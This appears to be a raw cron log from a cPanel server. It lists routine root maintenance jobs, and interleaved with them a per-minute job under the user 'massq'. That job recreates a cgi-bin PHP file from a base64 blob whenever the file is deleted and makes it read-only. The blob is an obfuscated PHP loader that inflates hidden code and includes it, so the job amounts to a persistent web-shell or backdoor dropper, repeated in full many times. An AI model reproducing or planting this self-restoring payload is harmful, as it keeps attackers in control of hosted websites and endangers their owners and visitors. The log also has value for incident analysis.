Sep  1 05:23:01 server CROND[30251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:23:01 server CROND[30252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:24:01 server CROND[30687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:24:01 server CROND[30686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:24:01 server CROND[30688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:25:01 server CROND[31070]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:25:01 server CROND[31073]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:25:01 server CROND[31072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:25:01 server CROND[31075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:25:01 server CROND[31071]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:25:01 server CROND[31077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:25:01 server CROND[31074]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:26:01 server CROND[31895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:26:01 server CROND[31896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:26:01 server CROND[31894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:27:01 server CROND[32267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:27:01 server CROND[32265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:27:01 server CROND[32268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:27:01 server CROND[32266]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 05:28:01 server CROND[32745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:28:01 server CROND[32746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:28:01 server CROND[32747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:29:02 server CROND[679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:29:02 server CROND[680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:29:02 server CROND[681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:30:01 server CROND[1139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:30:01 server CROND[1140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:30:01 server CROND[1149]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:30:01 server CROND[1144]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  1 05:30:01 server CROND[1145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:30:01 server CROND[1150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:30:01 server CROND[1146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:30:01 server CROND[1152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:30:01 server CROND[1148]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:31:01 server CROND[2046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:31:01 server CROND[2048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:31:01 server CROND[2047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:32:01 server CROND[2427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:32:01 server CROND[2429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:32:01 server CROND[2428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:33:01 server CROND[2931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:33:01 server CROND[2932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:33:01 server CROND[2933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:34:01 server CROND[3305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:34:01 server CROND[3306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:34:01 server CROND[3307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:35:01 server CROND[3711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:35:01 server CROND[3713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:35:01 server CROND[3714]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 05:35:01 server CROND[3720]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 05:35:01 server CROND[3719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
